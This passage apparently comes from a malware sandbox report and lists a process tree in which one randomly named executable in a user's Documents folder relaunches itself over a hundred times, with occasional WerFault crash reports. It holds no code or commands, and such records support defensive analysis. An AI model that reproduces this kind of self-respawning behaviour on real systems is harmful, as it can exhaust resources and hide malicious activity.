    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7284
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:2308
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7732
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8196
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8196 -s 24
      4⤵
      Program crash
      PID:8508
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8484
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8732
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9056
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8476
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6124
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8652
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9140
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:3372
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 24
      4⤵
      Program crash
      PID:1344
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:2340
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8980
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9596
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9596 -s 24
      4⤵
      Program crash
      PID:10024
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10012
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9672
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:4528
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9840
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:4508
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7720
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5004
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10396
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11112
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10708
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:2748
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:3284
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:3784
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11092
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:3264
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11320
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11608
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11608 -s 24
      4⤵
      Program crash
      PID:11936
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11888
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12128
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11272
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11680
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11848
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5576
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11400
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12188
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:6612
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10372
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5336
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7672
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9264
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11460
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12444
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12760
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13068
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:7900
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7900 -s 24
      4⤵
      Program crash
      PID:12692
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12880
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12832
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12372
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13316
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13788
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14224
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10436
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14204
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14756
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:15024
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13128
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12704
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:15176
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14808
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:15208
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14464
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12956
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16096
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:748
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10296
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16140
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14412
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11184
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13796
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13892
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16836
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17252
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16480
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:14256
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:12736
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16540
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16956
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17616
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18080
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:16740
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18144
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18200
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18404
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18420
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19204
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17464
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18848
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18788
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:13384
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10608
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18824
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:8184
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18656
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19716
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:20028
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19260
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19684
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:20372
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:9624
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:20832
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21188
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10604
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:20496
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21356
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:20444
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17820
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19064
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17932
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18600
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21756
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:22120
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10272
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21848
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:22280
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19860
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 23068 -s 24
      4⤵
      PID:20712
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23488
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:22728
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23392
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23232
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:22604
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18180
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23576
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23816
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24164
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:15880
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23848
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24104
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 24104 -s 24
      4⤵
      PID:24724
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21548
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24796
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:25328
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24728
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:25220
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 25220 -s 24
      4⤵
      PID:24868
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23412
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:25048
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24484
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18892
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24908
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19852
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23228
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19152
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26012
